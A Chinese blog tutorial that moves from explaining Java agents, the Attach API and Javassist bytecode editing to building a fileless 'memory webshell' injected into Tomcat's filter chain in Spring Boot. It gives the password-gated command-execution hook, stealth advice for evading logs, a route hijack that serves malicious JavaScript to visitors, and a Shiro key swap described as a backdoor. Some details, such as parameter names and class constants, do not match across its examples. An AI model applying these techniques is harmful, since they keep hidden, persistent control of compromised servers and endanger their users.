<font color="red">注意:这里只是简短的介绍一下,想要详细了解,请看参考资料。</font>
在JDK1.5以后,javaagent是一种能够在不影响正常编译的情况下,修改字节码。
java作为一种强类型的语言,不通过编译就不能够进行jar包的生成。而有了javaagent技术,就可以在字节码这个层面对类和方法进行修改。同时,也可以把javaagent理解成一种代码注入的方式。但是这种注入比起spring的aop更加的优美。
Java agent的使用方式有两种:
premain
方法,在JVM启动前加载。agentmain
方法,在JVM启动后加载。premain
和agentmain
函数声明如下,拥有Instrumentation inst
参数的方法优先级更高:
public static void agentmain(String agentArgs, Instrumentation inst) { ... } public static void agentmain(String agentArgs) { ... } public static void premain(String agentArgs, Instrumentation inst) { ... } public static void premain(String agentArgs) { ... }
第一个参数String agentArgs
就是Java agent的参数。
第二个参数Instrumentaion inst
相当重要,会在之后的进阶内容中提到。
要做一个简单的premain
需要以下几个步骤:
创建新项目,项目结构为:
agent
├── agent.iml
├── pom.xml
└── src
├── main
│ ├── java
│ └── resources
└── test
└── java
创建一个类(这里为com.shiroha.demo.PreDemo
),并且实现premain
方法。
package com.shiroha.demo; import java.lang.instrument.Instrumentation; public class PreDemo { public static void premain(String args, Instrumentation inst) throws Exception{ for (int i = 0; i < 10; i++) { System.out.println("hello I`m premain agent!!!"); } } }
在src/main/resources/
目录下创建META-INF/MANIFEST.MF
,需要指定Premain-Class
。
Manifest-Version: 1.0 Premain-Class: com.shiroha.demo.PreDemo
要注意的是,最后必须多一个换行。
打包成jar
选择Project Structure
-> Artifacts
-> JAR
-> From modules with dependencies
。
默认的配置就行。
选择Build
-> Build Artifacts
-> Build
。
之后产生out/artifacts/agent_jar/agent.jar
:
└── out
└── artifacts
└── agent_jar
└── agent.jar
使用-javaagent:agent.jar
参数执行hello.jar
,结果如下。
可以发现在hello.jar
输出hello world
之前就执行了com.shiroha.demo.PreDemo$premain
方法。
当使用这种方法的时候,整个流程大致如下图所示:
然而这种方法存在一定的局限性——只能在启动时使用-javaagent
参数指定。在实际环境中,目标的JVM通常都是已经启动的状态,无法预先加载premain。相比之下,agentmain更加实用。
写一个agentmain
和premain
差不多,只需要在META-INF/MANIFEST.MF
中加入Agent-Class:
即可。
Manifest-Version: 1.0 Premain-Class: com.shiroha.demo.PreDemo Agent-Class: com.shiroha.demo.AgentDemo
不同的是,这种方法不是通过JVM启动前的参数来指定的,官方为了实现启动后加载,提供了Attach API
。Attach API 很简单,只有 2 个主要的类,都在 com.sun.tools.attach
包里面。着重关注的是VitualMachine
这个类。
字面意义表示一个Java 虚拟机,也就是程序需要监控的目标虚拟机,提供了获取系统信息、 loadAgent
,Attach
和 Detach
等方法,可以实现的功能可以说非常之强大 。该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上 。代理类注入操作只是它众多功能中的一个,通过loadAgent
方法向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation
实例。
具体的用法看一下官方给的例子大概就理解了:
// com.sun.tools.attach.VirtualMachine // 下面的示例演示如何使用VirtualMachine: // attach to target VM VirtualMachine vm = VirtualMachine.attach("2177"); // start management agent Properties props = new Properties(); props.put("com.sun.management.jmxremote.port", "5000"); vm.startManagementAgent(props); // detach vm.detach(); // 在此示例中,我们附加到由进程标识符2177标识的Java虚拟机。然后,使用提供的参数在目标进程中启动JMX管理代理。最后,客户端从目标VM分离。
下面列几个这个类提供的方法:
public abstract class VirtualMachine { // 获得当前所有的JVM列表 public static List<VirtualMachineDescriptor> list() { ... } // 根据pid连接到JVM public static VirtualMachine attach(String id) { ... } // 断开连接 public abstract void detach() {} // 加载agent,agentmain方法靠的就是这个方法 public void loadAgent(String agent) { ... } }
根据提供的api,可以写出一个attacher
,代码如下:
import com.sun.tools.attach.AgentInitializationException; import com.sun.tools.attach.AgentLoadException; import com.sun.tools.attach.AttachNotSupportedException; import com.sun.tools.attach.VirtualMachine; import java.io.IOException; public class AgentMain { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { String id = args[0]; String jarName = args[1]; System.out.println("id ==> " + id); System.out.println("jarName ==> " + jarName); VirtualMachine virtualMachine = VirtualMachine.attach(id); virtualMachine.loadAgent(jarName); virtualMachine.detach(); System.out.println("ends"); } }
过程非常简单:通过pid attach到目标JVM -> 加载agent -> 解除连接。
现在来测试一下agentmain:
package com.shiroha.demo; import java.lang.instrument.Instrumentation; public class AgentDemo { public static void agentmain(String agentArgs, Instrumentation inst) { for (int i = 0; i < 10; i++) { System.out.println("hello I`m agentMain!!!"); } } }
成功attach并加载了agent。
整个过程的流程图大致如下图所示:
Instrumentation
是JVMTIAgent
(JVM Tool Interface Agent)的一部分。Java agent通过这个类和目标JVM进行交互,从而达到修改数据的效果。
下面列出这个类的一些方法,更加详细的介绍和方法,可以参照官方文档。也可以看下面的参考资料。
public interface Instrumentation { // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。 void addTransformer(ClassFileTransformer transformer); // 删除一个类转换器 boolean removeTransformer(ClassFileTransformer transformer); // 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。 void retransformClasses(Class<?>... classes) throws UnmodifiableClassException; // 判断目标类是否能够修改。 boolean isModifiableClass(Class<?> theClass); // 获取目标已经加载的类。 @SuppressWarnings("rawtypes") Class[] getAllLoadedClasses(); ...... }
由于知识点过多和篇幅限制,只先介绍getAllLoadedClasses
和isModifiableClasses
。
看名字都知道:
getAllLoadedClasses
:获取所有已经加载的类。isModifiableClasses
:判断某个类是否能被修改。修改之前写的agentmain:
package com.shiroha.demo; import java.io.File; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.lang.instrument.Instrumentation; public class AgentDemo { public static void agentmain(String agentArgs, Instrumentation inst) throws IOException { Class[] classes = inst.getAllLoadedClasses(); FileOutputStream fileOutputStream = new FileOutputStream(new File("/tmp/classesInfo")); for (Class aClass : classes) { String result = "class ==> " + aClass.getName() + "\n\t" + "Modifiable ==> " + (inst.isModifiableClass(aClass) ? "true" : "false") + "\n"; fileOutputStream.write(result.getBytes()); } fileOutputStream.close(); } }
重新attach到某个JVM,在/tmp/classesInfo
文件中有如下信息:
class ==> java.lang.invoke.LambdaForm$MH/0x0000000800f06c40 Modifiable ==> false class ==> java.lang.invoke.LambdaForm$DMH/0x0000000800f06840 Modifiable ==> false class ==> java.lang.invoke.LambdaForm$DMH/0x0000000800f07440 Modifiable ==> false class ==> java.lang.invoke.LambdaForm$DMH/0x0000000800f07040 Modifiable ==> false class ==> jdk.internal.reflect.GeneratedConstructorAccessor29 Modifiable ==> true ........
得到了目标JVM上所有已经加载的类,并且知道了这些类能否被修改。
接下来来讲讲如何使用addTransformer()
和retransformClasses()
来篡改Class的字节码。
首先看一下这两个方法的声明:
public interface Instrumentation { // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。 void addTransformer(ClassFileTransformer transformer); // 删除一个类转换器 boolean removeTransformer(ClassFileTransformer transformer); // 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。 void retransformClasses(Class<?>... classes) throws UnmodifiableClassException; ...... }
在addTransformer()
方法中,有一个参数ClassFileTransformer transformer
。这个参数将帮助我们完成字节码的修改工作。
这是一个接口,它提供了一个transform
方法:
public interface ClassFileTransformer { default byte[] transform( ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) { .... } }
这个接口的功能在注释中写道(经过翻译):
// 代理使用addTransformer方法注册此接口的实现,以便在加载,重新定义或重新转换类时调用转换器的transform方法。该实现应覆盖此处定义的转换方法之一。在Java虚拟机定义类之前,将调用变压器。 // 有两种转换器,由Instrumentation.addTransformer(ClassFileTransformer,boolean)的canRetransform参数确定: // 与canRetransform一起添加的具有重转换能力的转换器为true // 与canRetransform一起添加为false或在Instrumentation.addTransformer(ClassFileTransformer)处添加的无法重新转换的转换器 // 在addTransformer中注册了转换器后,将为每个新的类定义和每个类重新定义调用该转换器。具有重转换功能的转换器也将在每个类的重转换上被调用。使用ClassLoader.defineClass或其本机等效项来请求新的类定义。使用Instrumentation.redefineClasses或其本机等效项进行类重新定义的请求。使用Instrumentation.retransformClasses或其本机等效项进行类重新转换的请求。在验证或应用类文件字节之前,将在处理请求期间调用转换器。如果有多个转换器,则通过链接转换调用来构成转换。也就是说,一次转换所返回的字节数组成为转换的输入(通过classfileBuffer参数)。
简单概括一下:
Instrumentation.addTransformer()
来加载一个转换器。transform()
方法的返回值)将成为转换后的字节码。ClassLoader.defineClass()
定义它;对于已经加载的类,会使用ClassLoader.redefineClasses()
重新定义,并配合Instrumentation.retransformClasses
进行转换。现在已经知道了怎样能修改Class的字节码,具体的做法还需要用到另一个工具——javassist
。
Javassist (JAVA programming ASSISTant) 是在 Java 中编辑字节码的类库;它使 Java 程序能够在运行时定义一个新类, 并在 JVM 加载时修改类文件。
我们常用到的动态特性主要是反射,在运行时查找对象属性、方法,修改作用域,通过方法名称调用方法等。在线的应用不会频繁使用反射,因为反射的性能开销较大。其实还有一种和反射一样强大的特性,但是开销却很低,它就是Javassit。
与其他类似的字节码编辑器不同, Javassist 提供了两个级别的 API: 源级别和字节码级别。 如果用户使用源级 API, 他们可以编辑类文件, 而不知道 Java 字节码的规格。 整个 API 只用 Java 语言的词汇来设计。 您甚至可以以源文本的形式指定插入的字节码; Javassist 在运行中编译它。 另一方面, 字节码级 API 允许用户直接编辑类文件作为其他编辑器。
由于我们的目的只是修改某个类的某个方法,所以下面只介绍这一部分,更多的信息可以参考下面的参考资料。
这个类是javassist
的核心组件之一。
来看一下官方对他的介绍:
ClassPool
是CtClass
对象的容器。CtClass
对象必须从该对象获得。如果get()
在此对象上调用,则它将搜索表示的各种源ClassPath
以查找类文件,然后创建一个CtClass
表示该类文件的对象。创建的对象将返回给调用者。
简单来说,这就是个容器,存放的是CtClass
对象。
获得方法: ClassPool cp = ClassPool.getDefault();
。通过 ClassPool.getDefault()
获取的 ClassPool
使用 JVM 的类搜索路径。如果程序运行在 JBoss 或者 Tomcat 等 Web 服务器上,ClassPool 可能无法找到用户的类,因为 Web 服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool 必须添加额外的类搜索路径。
cp.insertClassPath(new ClassClassPath(<Class>));
可以把它理解成加强版的Class
对象,需要从ClassPool
中获得。
获得方法:CtClass cc = cp.get(ClassName)
。
同理,可以理解成加强版的Method
对象。
获得方法:CtMethod m = cc.getDeclaredMethod(MethodName)
。
这个类提供了一些方法,使我们可以便捷的修改方法体:
public final class CtMethod extends CtBehavior { // 主要的内容都在父类 CtBehavior 中 } // 父类 CtBehavior public abstract class CtBehavior extends CtMember { // 设置方法体 public void setBody(String src); // 插入在方法体最前面 public void insertBefore(String src); // 插入在方法体最后面 public void insertAfter(String src); // 在方法体的某一行插入内容 public int insertAt(int lineNum, String src); }
传递给方法 insertBefore()
,insertAfter()
和 insertAt()
的 String 对象是由Javassist
的编译器编译的。 由于编译器支持语言扩展,以 $ 开头的几个标识符有特殊的含义:
符号 | 含义 |
---|---|
$0 , $1 , $2 , ... |
$0 = this; $1 = args[1] ..... |
$args |
方法参数数组.它的类型为 Object[] |
$$ |
所有实参。例如, m($$) 等价于 m($1,$2, ...) |
$cflow( ...) |
cflow 变量 |
$r |
返回结果的类型,用于强制类型转换 |
$w |
包装器类型,用于强制类型转换 |
$_ |
返回值 |
详细的内容可以看Javassist 使用指南(二)。
接下来使用一个小示例来更好的说明这个工具的用法。
目标程序 hello.jar
,使用Scanner
是为了在注入前不让程序结束:
// HelloWorld.java public class HelloWorld { public static void main(String[] args) { hello h1 = new hello(); h1.hello(); // 输出当前进程的 pid System.out.println("pid ==> " + [pid]) // 产生中断,等待注入 Scanner sc = new Scanner(System.in); sc.nextInt(); hello h2 = new hello(); h2.hello(); System.out.println("ends..."); } } // hello.java public class hello { public void hello() { System.out.println("hello world"); } }
Java agent agent.jar
:
// AgentDemo.java public class AgentDemo { public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException { Class[] classes = inst.getAllLoadedClasses(); // 判断类是否已经加载 for (Class aClass : classes) { if (aClass.getName().equals(TransformerDemo.editClassName)) { // 添加 Transformer inst.addTransformer(new TransformerDemo(), true); // 触发 Transformer inst.retransformClasses(aClass); } } } } // TransformerDemo.java // 如果在使用过程中找不到javassist包中的类,那么可以使用URLCLassLoader+反射的方式调用 public class TransformerDemo implements ClassFileTransformer { // 只需要修改这里就能修改别的函数 public static final String editClassName = "com.xxxx.hello.hello"; public static final String editClassName2 = editClassName.replace('.', '/'); public static final String editMethod = "hello"; @Override public byte[] transform(...) throws IllegalClassFormatException { try { ClassPool cp = ClassPool.getDefault(); if (classBeingRedefined != null) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); cp.insertClassPath(ccp); } CtClass ctc = cp.get(editClassName); CtMethod method = ctc.getDeclaredMethod(editMethodName); String source = "{System.out.println(\"hello transformer\");}"; method.setBody(source); byte[] bytes = ctc.toBytes(); ctc.detach(); return bytes; } catch (Exception e){ e.printStackTrace(); } return null; } }
这个示例比较通用,需要更改不同的方法时只需要改变常量和source变量即可。
来看看效果:(输入1之前使用了Java agent)
可以看到的是当第二次调用com.xxx.hello.hello#hello()
的时候,输出的内容变成了hello transformer
。
既然现在已经能够修改方法体了,那就可以将木马放到某个一定会执行的方法内,这样的话,当访问任意路由的时候,就会调用木马。那么现在的问题就变成了,注入到哪一个类的哪个方法比较好。
众所周知,Spring boot 中内嵌了一个embed Tomcat
作为容器,而在网上流传着很多版本的 Tomcat“无文件”内存马。这些内存马大多数都是通过重写/添加Filter
来实现的。既然Spring boot 使用了Tomcat
,那么能不能照葫芦画瓢,通过Filter
,实现一个Spring boot的内存马呢?当然是可以的。
对于一个WebServer来说,每次请求势必会进过大量的调用,一层一层读源码可不是一个好办法,至少不是一个快方法。这里我选择直接下断点调试。首先写一个Spring Boot的简单程序:
@Controller public class helloController { @RequestMapping("/index") public String sayHello() { try { System.out.println("hello world"); } catch (Exception e) { e.printStackTrace(); } return "index"; } }
直接在第17行下断点,开启debug,并在网页端访问http://127.0.0.1:8080/index
,触发断点。此时的调用栈如下图所示(由于太长,只截取一部分):
在上图中,很明显的可以看到红框中存在很多的doFilter
和internalDoFilter
方法,他们大多来自于ApplicationFilterChain
这个类。
来看看ApplicationFilterChain
的doFilter
方法:
@Override public void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException { if( Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; try { java.security.AccessController.doPrivileged( new java.security.PrivilegedExceptionAction<Void>() { @Override public Void run() throws ServletException, IOException { internalDoFilter(req,res); return null; } } ); } catch (PrivilegedActionException pe) { ...... } } else { internalDoFilter(request,response); } }
乍一看内容挺多,其实总结下来就是——调用this.internalDoFilter()
。所以再来简单看一下internalDoFilter()
方法:
private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException { // Call the next filter if there is one if (pos < n) { ...... } }
这两个个方法拥有Request
和Response
参数。如果能重写其中一个,那就能控制所有的请求和响应!因此,用来作为内存马的入口点简直完美。这里我选择doFilter()
方法,具体原因会在之后提到。
只需要对上面的示例代码做一些变动即可。
指定需要修改的类名和方法名:
public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain"; public static final String editClassName2 = editClassName.replace('.', '/'); public static final String editMethod = "doFilter";
为了不破坏程序原本的功能,这里不再使用setBody()
方法,而是采用insertBefore()
:
method.insertBefore(source);
出于方便考虑,实现一个readSource()
方法,从文件中读取数据。:
String source = this.readSource("start.txt"); public static String readSource(String name) { String result = ""; // result = name文件的内容 return result; }
在start.txt
中,写入恶意代码:
{ javax.servlet.http.HttpServletRequest request = $1; javax.servlet.http.HttpServletResponse response = $2; request.setCharacterEncoding("UTF-8"); String result = ""; String password = request.getParameter("password"); if (password != null) { // change the password here if (password.equals("xxxxxx")) { String cmd = request.getParameter("cmd"); if (cmd != null && cmd.length() > 0) { // 执行命令,获取回显 } response.getWriter().write(result); return; } } }
注入之前,访问http://127.0.0.1:8080/
:
注入Java agent:
注入后,访问http://127.0.0.1:8080/?password=xxx&exec=ls -al
:
可以看到已经成功的执行了webshell。
当注入内存shell之后,http的请求流程如下(简化版):
到这儿,一个简单的Java agent 内存马就制作完成。
<font color="red">由于某些中间件(例如nginx)只记录GET请求,使用POST方式发送数据会更加隐蔽。</font>
<font color="red">由于在Filter层过滤了http请求,访问任意的路由都可以执行恶意代码,为了隐蔽性不建议使用不存在的路由。</font>
<font color="red">agent可以注入多个,但是相同类名的transformer只能注入一个,所以要再次注入别的agent的时候记得更改一下类名。</font>
<font color="red">这种内存马一旦注入到目标程序中,除了重启没有办法直接卸载掉,因为修改掉了原本的类的字节码。</font>
既然如此,那我再把它改回去不就得了嘛。这就是我为什么选择doFilter
方法的原因——逻辑简单,方便还原。它的逻辑只是调用了internalDoFilter()
方法(简单来说)。还原就只需要setBody()
即可:
// source.txt { final javax.servlet.ServletRequest req = $1; final javax.servlet.ServletResponse res = $2; $0.internalDoFilter(req,res); }
当我们能够改变类的字节码,那能做的事情可多了去了,下面我提出两个例子,抛砖引玉。
再来假设这么一个情况:拿下来了站点A,同时其他的资产暂时没有更大的收获,需要使用其他方法来扩展攻击面。在A的/login
中使用了/static/js/1.js
,那就可以劫持这个路由,回显给他恶意的js代码。
实现的话,只需要在start.txt
也就是即将插入的代码块中,判断一下当前访问的路由。
String uri = request.getRequestURI(); if (uri.equals("/static/js/1.js")) { response.getWriter().write([恶意js代码]); return; }
那么当访问到/login
的时候,浏览器发现引用了外部js——/static/js/1.js
,就会去请求它,然而请求被我们修改后的ApplicationFilterChain#doFilter()
拦截,返回了一个虚假的页面,导致资源被“替换”,恶意代码发挥作用。
shiro的漏洞已经到了家喻户晓的地步,在实际的渗透中,看到shiro都会使用各种工具扫描一下。而后来shiro采用随机密钥之后,攻击难度就增加了。现在假设有这么一个情况:通过shiro反序列化得到了目标主机的权限,然后偷偷的改掉目标的key,那么这个漏洞就只有你能够攻击,总某种意义上来说,帮人家修复了漏洞,也算是留了后门。
分析shiro反序列化漏洞的文章网上已经有很多了,这里就不再赘述,直接讲重点的地方。
在解析rememberMe的时候,先将其base64解码,然后使用AES解密,在AES解密的时候,会调用org.apache.shiro.mgt.AbstractRememberMeManager#getDecryptionCipherKey()
,更改掉这个函数的返回值,就可以更改解密的密钥。实现也很简单,只需要改掉上面的常量和start.txt
即可:
public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain"; public static final String editClassName2 = editClassName.replace('.', '/'); public static final String editMethod = "doFilter"; // start.txt (使用insertBefore()) { $0.setCipherKey(org.apache.shiro.codec.Base64.decode("4AvVhmFLUs0KTA3Kprsdag==")); } // start.txt (使用setBody()) { return (org.apache.shiro.codec.Base64.decode("4AvVhmFLUs0KTA3Kprsdag==")); }
这里使用vulhub/CVE-2016-4437
,演示一下效果:
注入前,使用shiro_tool.jar
检验:
注入shiroKey.jar
:
注入后,使用shiro_tool.jar
检验:
可以看到shiro的key被成功更改。